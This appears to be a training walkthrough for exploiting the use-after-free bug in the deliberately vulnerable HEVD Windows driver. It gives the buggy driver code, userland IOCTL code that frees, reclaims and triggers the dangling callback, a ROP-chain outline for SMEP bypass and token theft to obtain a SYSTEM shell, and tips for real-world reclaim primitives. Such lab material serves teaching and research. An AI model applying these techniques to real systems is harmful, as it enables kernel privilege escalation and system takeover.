HEVD use-after-free — walkthrough
TL;DR: HEVD’s UseAfterFree IOCTL allocates an object, stores its pointer in a global, frees it without nulling the pointer — and a separate IOCTL still dereferences it. Exploitation: allocate the bug object, free it, immediately spray same-size objects whose first 8 bytes are an attacker-controlled vtable, trigger the dangling-pointer use → kernel calls attacker function. The canonical UAF pattern that generalises to browser, app, and other kernel UAF chains. Companion to use-after-free-kernel and hevd-pool-overflow-walkthrough.
The bug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObjectNonPagedPool; // ← dangling pointer source
// IOCTL_HEVD_ALLOCATE_UAF_OBJECT
NTSTATUS AllocateUaFObjectNonPagedPool() {
g_UseAfterFreeObjectNonPagedPool = ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), 'kcaH');
g_UseAfterFreeObjectNonPagedPool->Callback = UaFObjectCallbackNonPagedPool;
return STATUS_SUCCESS;
}
// IOCTL_HEVD_FREE_UAF_OBJECT
NTSTATUS FreeUaFObjectNonPagedPool() {
ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 'kcaH');
// ← does NOT null g_UseAfterFreeObjectNonPagedPool
return STATUS_SUCCESS;
}
// IOCTL_HEVD_USE_UAF_OBJECT
NTSTATUS UseUaFObjectNonPagedPool() {
g_UseAfterFreeObjectNonPagedPool->Callback(); // ← BUG: use after free
return STATUS_SUCCESS;
}
// IOCTL_HEVD_ALLOCATE_FAKE_OBJECT — for groom
NTSTATUS AllocateFakeObjectNonPagedPool(PVOID UserBuffer) {
PVOID KernelBuffer = ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), 'kcaH');
RtlCopyMemory(KernelBuffer, UserBuffer, sizeof(USE_AFTER_FREE));
return STATUS_SUCCESS;
}
The “fake object” IOCTL is HEVD’s training-wheels feature — real targets won’t be this kind.
Exploitation outline
- Allocate the bug object → dangling-pointer source is set.
- Free the bug object → memory available, dangling pointer still references it.
- Immediately allocate a “fake” object of the same size with attacker-chosen
Callbackvalue = your shellcode address. - Trigger Use → kernel calls attacker function pointer in kernel context.
Step 1 — userland orchestration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE h = open_hevd();
#define IOCTL_ALLOC_UAF 0x222013
#define IOCTL_FREE_UAF 0x222017
#define IOCTL_USE_UAF 0x22201B
#define IOCTL_ALLOC_FAKE 0x22201F
// 1. Allocate
DeviceIoControl(h, IOCTL_ALLOC_UAF, NULL, 0, NULL, 0, &ret, NULL);
// 2. Free
DeviceIoControl(h, IOCTL_FREE_UAF, NULL, 0, NULL, 0, &ret, NULL);
// 3. Spray fake object with controlled bytes
BYTE fake[0x58];
*(PVOID*)fake = (PVOID)shellcode_addr; // overwrite Callback
DeviceIoControl(h, IOCTL_ALLOC_FAKE, fake, sizeof(fake), NULL, 0, &ret, NULL);
// 4. Trigger Use
DeviceIoControl(h, IOCTL_USE_UAF, NULL, 0, NULL, 0, &ret, NULL);
Step 3 must immediately follow step 2 — single-threaded execution makes this trivial; in real targets you race.
Step 2 — real-world UAF (no training-wheels fake-object IOCTL)
In a real driver, the freed memory must be reclaimed by an allocation you control indirectly. Common allocators of size N you can drive from userland:
- Named pipes with attributes — see windows-pool-grooming-techniques.
- Reserve objects (
NtAllocateReserveObject). - WNF state data.
- CreateEventW + name string in some sizes.
Choose an allocator whose object layout has attacker-controlled bytes in the first N bytes where the dangling pointer expects its target’s fields.
Step 3 — defeat KASLR for the callback target
The Callback field, when called, jumps to attacker-supplied address. That address must:
- Point to kernel-executable memory (SMEP-on world).
- Be the start of a ROP gadget chain that disables SMEP and runs token-steal shellcode (or directly the shellcode if SMEP off).
The KASLR leak primitive comes from elsewhere (another HEVD bug, or a separate info-leak in the target driver / system call).
Step 4 — full ROP chain after callback
When Callback() is invoked, RIP = attacker’s chosen address. Set it to a stack-pivot gadget (mov rsp, rbp; ret or xchg rsp, rax; ret) so the kernel stack pivots to attacker-allocated user memory containing the full ROP chain.
1
2
3
4
5
attacker memory:
[stack pivot]
[chain: disable SMEP]
[chain: token-steal shellcode]
[chain: swapgs; iretq; restore userland]
Step 5 — return cleanly
After token swap, return to userland to spawn a SYSTEM shell. Use saved user CS/SS/RFLAGS/RSP/RIP via iretq chain.
Common failures
| Symptom | Cause |
|---|---|
| Use returns success but no SYSTEM | reclaiming allocation didn’t land in the freed slot |
KMODE_EXCEPTION_NOT_HANDLED at random RIP | callback called something else; check that the spray successfully wrote attacker bytes |
| Race condition (real-world) | tighten the timing; thread the spray |
Real-world UAF — common bug shapes
Browser engines (Chakra, V8): script context invalidates an object that’s still referenced by another script. Mitigation: isolated heaps per object class — see browser-exploitation-primer.
Kernel: race condition between IRP cancellation and completion; reference count decremented twice.
For real-world exploitation:
- Information leak first (heap base or per-object metadata).
- Heap-feng-shui to control adjacency.
- UAF reclaim within race window.
Practice ladder
- HEVD UseAfterFreeNonPagedPool with fake-object helper.
- HEVD UseAfterFreeNonPagedPool without fake-object — find a real reclaim primitive.
- Open-source kernel UAF (Bochspwn / kCTF).
- Browser UAF (Chakra past, V8 modern).